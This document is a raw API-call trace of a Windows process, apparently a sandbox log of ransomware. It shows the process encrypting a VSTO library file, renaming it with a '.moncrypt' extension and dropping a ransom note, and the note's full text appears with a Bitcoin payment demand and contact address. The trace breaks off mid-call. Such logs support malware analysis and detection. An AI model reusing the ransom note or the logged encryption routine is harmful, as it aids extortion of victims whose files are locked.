0x34 [0056.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0056.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a878, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.216] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0056.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0056.216] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.216] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.216] GlobalUnlock (hMem=0x44000c) returned 0 [0056.216] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.216] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.217] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.217] GlobalUnlock (hMem=0x44000c) returned 0 [0056.217] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.217] GlobalUnlock (hMem=0x440004) returned 0 [0056.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.217] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.217] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0056.217] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0056.217] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.217] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.217] GlobalLock (hMem=0x440004) returned 0x550170 [0056.217] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.217] GlobalUnlock (hMem=0x440004) returned 0 [0056.217] GlobalLock (hMem=0x440004) returned 0x550170 [0056.217] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.217] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.217] GlobalUnlock (hMem=0x440004) returned 0 [0056.217] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.217] GlobalUnlock (hMem=0x44000c) returned 0 [0056.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.217] CharLowerBuffW (in: lpsz="vstoee.dll", cchLength=0xa | out: lpsz="vstoee.dll") returned 0xa [0056.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.218] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VSTO\\vstoee.dllr", lpUsedDefaultChar=0x0) returned 4 [0056.218] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.218] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.218] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.218] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.218] GlobalUnlock (hMem=0x44000c) returned 0 [0056.218] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.218] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.218] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.218] GlobalUnlock (hMem=0x44000c) returned 0 [0056.218] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.218] GlobalUnlock (hMem=0x440004) returned 0 [0056.218] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.218] CharLowerBuffW (in: lpsz="vstoee100.tlb", cchLength=0xd | out: lpsz="vstoee100.tlb") returned 0xd [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.219] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlbShared\\VSTO\\vstoee100.tlb", lpUsedDefaultChar=0x0) returned 4 [0056.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.233] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0056.234] CloseHandle (hObject=0x188) returned 1 [0056.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\я")) returned 1 [0056.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 0x54e200 [0056.235] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.235] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.235] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", dwFileAttributes=0x20) returned 1 [0056.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.moncrypt")) returned 1 [0056.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.237] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0056.237] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3f50 [0056.238] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0056.238] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x3f50, lpOverlapped=0x0) returned 1 [0056.239] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.239] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.239] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.239] GlobalUnlock (hMem=0x44000c) returned 0 [0056.239] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0056.239] GlobalLock (hMem=0x44000c) returned 0x559b88 [0056.240] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.240] GlobalUnlock (hMem=0x440004) returned 0 [0056.240] GlobalHandle (pMem=0x559b88) returned 0x44000c [0056.240] GlobalUnlock (hMem=0x44000c) returned 0 [0056.240] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.240] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.240] GlobalUnlock (hMem=0x44000c) returned 0 [0056.240] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0056.240] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.240] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.240] GlobalUnlock (hMem=0x44000c) returned 0 [0056.240] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0056.240] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x3f70, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x3f70, lpOverlapped=0x0) returned 1 [0056.240] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0056.240] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0056.252] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0056.252] CloseHandle (hObject=0x188) returned 1 [0056.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.253] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0056.253] CloseHandle (hObject=0x188) returned 1 [0056.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.moncrypt", dwFileAttributes=0x20) returned 1 [0056.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0056.254] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.254] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.254] GlobalUnlock (hMem=0x44000c) returned 0 [0056.254] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.254] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.254] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.254] GlobalUnlock (hMem=0x44000c) returned 0 [0056.254] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.254] GlobalUnlock (hMem=0x440004) returned 0 [0056.254] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0056.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a858, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0056.254] GetLastError () returned 0x2 [0056.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.255] WriteFile (in: hFile=0x188, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0056.262] CloseHandle (hObject=0x188) returned 1 [0056.262] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0056.262] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.262] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.262] GlobalLock (hMem=0x440004) returned 0x550170 [0056.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.262] GlobalUnlock (hMem=0x440004) returned 0 [0056.262] GlobalLock (hMem=0x440004) returned 0x550170 [0056.262] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.262] GlobalUnlock (hMem=0x440004) returned 0 [0056.262] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.262] GlobalUnlock (hMem=0x44000c) returned 0 [0056.263] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.263] CharLowerBuffW (in: lpsz="vstoee90.tlb", cchLength=0xc | out: lpsz="vstoee90.tlb") returned 0xc [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, 